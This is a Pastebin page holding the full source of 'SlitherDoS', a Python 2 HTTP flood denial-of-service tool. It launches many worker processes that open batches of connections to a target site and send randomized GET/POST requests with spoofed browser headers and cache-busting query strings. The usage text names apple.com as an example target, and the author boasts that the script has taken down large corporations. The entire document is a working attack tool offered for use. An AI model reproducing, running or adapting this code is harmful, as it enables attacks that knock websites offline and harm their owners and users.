Advertisement
1337ings

[Python] Slither DoS

Sep 10th, 2016
864
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 15.43 KB | None | 0 0
  1. #!/usr/bin/env python
  2. class bcolors:
  3.     HEADER = '\033[95m'
  4.     OKBLUE = '\033[94m'
  5.     OKGREEN = '\033[92m'
  6.     WARNING = '\033[93m'
  7.     FAIL = '\033[91m'
  8.     ENDC = '\033[0m'
  9.     BOLD = '\033[1m'
  10.     UNDERLINE = '\033[4m'
  11. """
  12. $Id: $
  13.  
  14.   _____ _ _ _   _                 _____        _____
  15.  / ____| (_) | | |               |  __ \     / ____|
  16. | (___ | |_| |_| |__   ___ _ __  | |  | | ___| (___  
  17.  \___ \| | | __| |_ \ / _ \ |__| | |  | |/ _ \\___ \
  18.  ____) | | | |_| | | |  __/ |    | |__| | (_) |___) |
  19. |_____/|_|_|\__|_| |_|\___|_|    |_____/ \___/_____/
  20.                                                      
  21.                                                      
  22.                                                                                                                                                                                                      
  23.  
  24. """
  25.  
  26. from multiprocessing import Process, Manager
  27. import urlparse, ssl
  28. import sys, getopt, random, time
  29.  
  30. if  sys.version_info < (3,0):
  31.  
  32.     import httplib
  33.     HTTPCLIENT = httplib
  34. else:
  35.  
  36.     import http.client
  37.     HTTPCLIENT = http.client
  38.  
  39.  
  40. DEBUG = False
  41.  
  42.  
  43. METHOD_GET  = 'get'
  44. METHOD_POST = 'post'
  45. METHOD_RAND = 'random'
  46.  
  47. JOIN_TIMEOUT=1.0
  48.  
  49. DEFAULT_WORKERS=50
  50. DEFAULT_SOCKETS=30
  51.  
  52.  
  53. class SlitherDoS(object):
  54.  
  55.     counter = [0, 0]
  56.     last_counter = [0, 0]
  57.  
  58.     workersQueue = []
  59.     manager = None
  60.  
  61.     url = None
  62.  
  63.     nr_workers = DEFAULT_WORKERS
  64.     nr_sockets = DEFAULT_SOCKETS
  65.     method = METHOD_GET
  66.  
  67.     def __init__(self, url):
  68.  
  69.         self.url = url
  70.  
  71.         self.manager = Manager()
  72.  
  73.         self.counter = self.manager.list((0, 0))
  74.  
  75.     def exit(self):
  76.         self.stats()
  77.         print "Exiting SlitherDoS"
  78.  
  79.     def __del__(self):
  80.         self.exit()
  81.  
  82.     def printHeader(self):
  83.  
  84.         print " "
  85.         print bcolors.WARNING + "                        _____"
  86.         print bcolors.WARNING + "                    .-'`     '."
  87.         print bcolors.WARNING + "                 __/  __       )"
  88.         print bcolors.WARNING + "                /  \ /  \      |    ___"
  89.         print bcolors.WARNING + "               | /`\| /`\|      | .-'  /^\/^)"
  90.         print bcolors.WARNING + "               | \(/| \(/|      |/     |) |)|"
  91.         print bcolors.WARNING + "              .-\__/ \__/       |      \_/\_/__..._"
  92.         print bcolors.WARNING + "      _...---'-.                /   _              '."
  93.         print bcolors.WARNING + "     /,      ,             \  '|  `\               )"
  94.         print bcolors.WARNING + "    | ))     ))           /`|   \   `.       /)  /) |"
  95.         print bcolors.WARNING + "    | `      `          .'       |     `-._         /"
  96.         print bcolors.WARNING + "    \                .'         |     ,_  `--....-'"
  97.         print bcolors.WARNING + "     `.           __.' ,         |     / /`'''`"
  98.         print bcolors.WARNING + "       `'-.____.-' /  /,         |    / /"
  99.         print bcolors.WARNING + "           `. `-.-` .'  \       /   / |"
  100.         print bcolors.WARNING + "             `-.__.'|    \     |   |  |-."
  101.         print bcolors.WARNING + "   _______ __  __             ___       ____"
  102.         print bcolors.WARNING + "  / __/ (_) /_/ /  ___ ____  / _ \___  / __/"
  103.         print bcolors.WARNING + " _\ \/ / / __/ _ \/ -_) __/ / // / _ \_\ \ "
  104.         print bcolors.WARNING + "/___/_/_/\__/_//_/\__/_/   /____/\___/___/  " + bcolors.ENDC
  105.        
  106.     def fire(self):
  107.         self.printHeader()
  108.         print "Routing with method [{0}] with [{1}] workers running [{2}] connections created".format(self.method, self.nr_workers, self.nr_sockets)
  109.  
  110.         if DEBUG:
  111.             print "Making connections [!] {0} [!] ".format(self.nr_workers)
  112.  
  113.         for i in range(int(self.nr_workers)):
  114.  
  115.             try:
  116.  
  117.                 worker = Laser(self.url, self.nr_sockets, self.counter)
  118.                 worker.method = self.method
  119.  
  120.                 self.workersQueue.append(worker)
  121.                 worker.start()
  122.             except (Exception):
  123.                 error("Failed to start worker {0}".format(i))
  124.                 pass
  125.  
  126.         print "Broadcasting connections"
  127.         self.monitor()
  128.  
  129.     def stats(self):
  130.  
  131.         try:
  132.             if self.counter[0] > 0 or self.counter[1] > 0:
  133.  
  134.                 print "({0} Failed) ({1} Failed)".format(self.counter[0], self.counter[1])
  135.  
  136.                 if self.counter[0] > 0 and self.counter[1] > 0 and self.last_counter[0] == self.counter[0] and self.counter[1] > self.last_counter[1]:
  137.                     print "\t Server seems to be down!"
  138.    
  139.                 self.last_counter[0] = self.counter[0]
  140.                 self.last_counter[1] = self.counter[1]
  141.         except (Exception):
  142.             pass
  143.  
  144.     def monitor(self):
  145.         while len(self.workersQueue) > 0:
  146.             try:
  147.                 for worker in self.workersQueue:
  148.                     if worker is not None and worker.is_alive():
  149.                         worker.join(JOIN_TIMEOUT)
  150.                     else:
  151.                         self.workersQueue.remove(worker)
  152.  
  153.                 self.stats()
  154.  
  155.             except (KeyboardInterrupt, SystemExit):
  156.                 print "CTRL+C received. Killing all workers/connections"
  157.                 for worker in self.workersQueue:
  158.                     try:
  159.                         if DEBUG:
  160.                             print "Killing worker {0}".format(worker.name)
  161.                         worker.stop()
  162.                     except Exception, ex:
  163.                         pass
  164.                 if DEBUG:
  165.                     raise
  166.                 else:
  167.                     pass
  168.  
  169. class Laser(Process):
  170.  
  171.        
  172.     request_count = 0
  173.     failed_count = 0
  174.  
  175.     url = None
  176.     host = None
  177.     port = 80
  178.     ssl = False
  179.     referers = []
  180.     useragents = []
  181.     socks = []
  182.     counter = None
  183.     nr_socks = DEFAULT_SOCKETS
  184.  
  185.     runnable = True
  186.  
  187.     method = METHOD_GET
  188.  
  189.     def __init__(self, url, nr_sockets, counter):
  190.  
  191.         super(Laser, self).__init__()
  192.  
  193.         self.counter = counter
  194.         self.nr_socks = nr_sockets
  195.  
  196.         parsedUrl = urlparse.urlparse(url)
  197.  
  198.         if parsedUrl.scheme == 'https':
  199.             self.ssl = True
  200.  
  201.         self.host = parsedUrl.netloc.split(':')[0]
  202.         self.url = parsedUrl.path
  203.  
  204.         self.port = parsedUrl.port
  205.  
  206.         if not self.port:
  207.             self.port = 80 if not self.ssl else 443
  208.  
  209.  
  210.         self.referers = [
  211.             'http://www.google.com/?q=',
  212.             'http://www.usatoday.com/search/results?q=',
  213.             'http://engadget.search.aol.com/search?q=',
  214.             'http://' + self.host + '/'
  215.             ]
  216.  
  217.  
  218.         self.useragents = [
  219.             'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
  220.             'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
  221.             'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
  222.             'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
  223.             'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
  224.             'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
  225.             'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
  226.             'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
  227.             'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
  228.             'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
  229.             'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
  230.             'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
  231.             ]
  232.  
  233.     def __del__(self):
  234.         self.stop()
  235.  
  236.  
  237.     def buildblock(self, size):
  238.         out_str = ''
  239.  
  240.         _LOWERCASE = range(97, 122)
  241.         _UPPERCASE = range(65, 90)
  242.         _NUMERIC   = range(48, 57)
  243.  
  244.         validChars = _LOWERCASE + _UPPERCASE + _NUMERIC
  245.  
  246.         for i in range(0, size):
  247.             a = random.choice(validChars)
  248.             out_str += chr(a)
  249.  
  250.         return out_str
  251.  
  252.  
  253.     def run(self):
  254.  
  255.         if DEBUG:
  256.             print "Starting worker {0}".format(self.name)
  257.  
  258.         while self.runnable:
  259.  
  260.             try:
  261.  
  262.                 for i in range(self.nr_socks):
  263.                
  264.                     if self.ssl:
  265.                         c = HTTPCLIENT.HTTPSConnection(self.host, self.port)
  266.                     else:
  267.                         c = HTTPCLIENT.HTTPConnection(self.host, self.port)
  268.  
  269.                     self.socks.append(c)
  270.  
  271.                 for conn_req in self.socks:
  272.  
  273.                     (url, headers) = self.createPayload()
  274.  
  275.                     method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method
  276.  
  277.                     conn_req.request(method.upper(), url, None, headers)
  278.  
  279.                 for conn_resp in self.socks:
  280.  
  281.                     resp = conn_resp.getresponse()
  282.                     self.incCounter()
  283.  
  284.                 self.closeConnections()
  285.                
  286.             except:
  287.                 self.incFailed()
  288.                 if DEBUG:
  289.                     raise
  290.                 else:
  291.                     pass
  292.  
  293.         if DEBUG:
  294.             print "Worker {0} completed run. Sleeping...".format(self.name)
  295.            
  296.     def closeConnections(self):
  297.         for conn in self.socks:
  298.             try:
  299.                 conn.close()
  300.             except:
  301.                 pass
  302.            
  303.  
  304.     def createPayload(self):
  305.  
  306.         req_url, headers = self.generateData()
  307.  
  308.         random_keys = headers.keys()
  309.         random.shuffle(random_keys)
  310.         random_headers = {}
  311.        
  312.         for header_name in random_keys:
  313.             random_headers[header_name] = headers[header_name]
  314.  
  315.         return (req_url, random_headers)
  316.  
  317.     def generateQueryString(self, ammount = 1):
  318.  
  319.         queryString = []
  320.  
  321.         for i in range(ammount):
  322.  
  323.             key = self.buildblock(random.randint(3,10))
  324.             value = self.buildblock(random.randint(3,20))
  325.             element = "{0}={1}".format(key, value)
  326.             queryString.append(element)
  327.  
  328.         return '&'.join(queryString)
  329.            
  330.    
  331.     def generateData(self):
  332.  
  333.         returnCode = 0
  334.         param_joiner = "?"
  335.  
  336.         if len(self.url) == 0:
  337.             self.url = '/'
  338.  
  339.         if self.url.count("?") > 0:
  340.             param_joiner = "&"
  341.  
  342.         request_url = self.generateRequestUrl(param_joiner)
  343.  
  344.         http_headers = self.generateRandomHeaders()
  345.  
  346.  
  347.         return (request_url, http_headers)
  348.  
  349.     def generateRequestUrl(self, param_joiner = '?'):
  350.  
  351.         return self.url + param_joiner + self.generateQueryString(random.randint(1,5))
  352.  
  353.     def generateRandomHeaders(self):
  354.  
  355.         noCacheDirectives = ['no-cache', 'must-revalidate']
  356.         random.shuffle(noCacheDirectives)
  357.         noCache = ', '.join(noCacheDirectives)
  358.  
  359.         acceptEncoding = ['\'\'','*','identity','gzip','deflate']
  360.         random.shuffle(acceptEncoding)
  361.         nrEncodings = random.randint(0,len(acceptEncoding)/2)
  362.         roundEncodings = acceptEncoding[:nrEncodings]
  363.  
  364.         http_headers = {
  365.             'User-Agent': random.choice(self.useragents),
  366.             'Cache-Control': noCache,
  367.             'Accept-Encoding': ', '.join(roundEncodings),
  368.             'Connection': 'keep-alive',
  369.             'Keep-Alive': random.randint(110,120),
  370.             'Host': self.host,
  371.         }
  372.    
  373.         if random.randrange(2) == 0:
  374.             acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ]
  375.             random.shuffle(acceptCharset)
  376.             http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset[0], acceptCharset[1],round(random.random(), 1), round(random.random(), 1))
  377.  
  378.         if random.randrange(2) == 0:
  379.             http_headers['Referer'] = random.choice(self.referers) + self.buildblock(random.randint(5,10))
  380.  
  381.         if random.randrange(2) == 0:
  382.             http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded'])
  383.  
  384.         if random.randrange(2) == 0:
  385.             http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5))
  386.  
  387.         return http_headers
  388.     def stop(self):
  389.         self.runnable = False
  390.         self.closeConnections()
  391.         self.terminate()
  392.  
  393.     def incCounter(self):
  394.         try:
  395.             self.counter[0] += 1
  396.         except (Exception):
  397.             pass
  398.  
  399.     def incFailed(self):
  400.         try:
  401.             self.counter[1] += 1
  402.         except (Exception):
  403.             pass
  404.        
  405.  
  406.  
  407.  
  408. def usage():
  409.     print
  410.     print '||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||'
  411.     print ' USAGE: python slitherdos.py http://fuck.feds '
  412.     print
  413.     print ' OPTIONS:'
  414.     print '\t Flag\t\t\tDescription\t\t\t\tDefault'
  415.     print '\t -w \t\tNumber of concurrent workers\t\t(default: {0})'.format(DEFAULT_WORKERS)
  416.     print '\t -s \t\tNumber of concurrent sockets\t\t(default: {0})'.format(DEFAULT_SOCKETS)
  417.     print '\t -m \t\t\'get\' or \'post\'  or \'random\'\t\t(default: get)'
  418.     print '\t -d \t\tEnable Debug Mode\t\t\t(default: False)'
  419.     print '\t -h \t\tShows this menu'
  420.     print ' EXAMPLE: python slitherdos.py http://apple.com 50 -s 30 -m get -d '
  421.     print '||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||'
  422.  
  423.    
  424. def error(msg):
  425.     sys.stderr.write(str(msg+"\n"))
  426.     usage()
  427.     sys.exit(2)
  428.  
  429. def main():
  430.    
  431.     try:
  432.  
  433.         if len(sys.argv) < 2:
  434.             error('Coded by Chris Poole | Have fun with this script! Its taken down multiple large corporations | http://twitter.com/codingplanets | Shout out to these nuts for   people whom say i rip code :D')
  435.         url = sys.argv[1]
  436.         if url == '-h':
  437.             usage()
  438.             sys.exit()
  439.  
  440.         if url[0:4].lower() != 'http':
  441.             error("Invalid URL supplied")
  442.  
  443.         if url == None:
  444.             error("No URL supplied")
  445.  
  446.         opts, args = getopt.getopt(sys.argv[2:], "dhw:s:m:", ["debug", "help", "workers", "sockets", "method" ])
  447.  
  448.         workers = DEFAULT_WORKERS
  449.         socks = DEFAULT_SOCKETS
  450.         method = METHOD_GET
  451.  
  452.         for o, a in opts:
  453.             if o in ("-h", "--help"):
  454.                 usage()
  455.                 sys.exit()
  456.             elif o in ("-s", "--sockets"):
  457.                 socks = int(a)
  458.             elif o in ("-w", "--workers"):
  459.                 workers = int(a)
  460.             elif o in ("-d", "--debug"):
  461.                 global DEBUG
  462.                 DEBUG = True
  463.             elif o in ("-m", "--method"):
  464.                 if a in (METHOD_GET, METHOD_POST, METHOD_RAND):
  465.                     method = a
  466.                 else:
  467.                     error("method {0} is invalid".format(a))
  468.             else:
  469.                 error("option '"+o+"' doesn't exists")
  470.  
  471.         slitherdos = SlitherDoS(url)
  472.         slitherdos.nr_workers = workers
  473.         slitherdos.method = method
  474.         slitherdos.nr_sockets = socks
  475.  
  476.         slitherdos.fire()
  477.  
  478.     except getopt.GetoptError, err:
  479.  
  480.         sys.stderr.write(str(err))
  481.         usage()
  482.         sys.exit(2)
  483.  
  484. if __name__ == "__main__":
  485.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement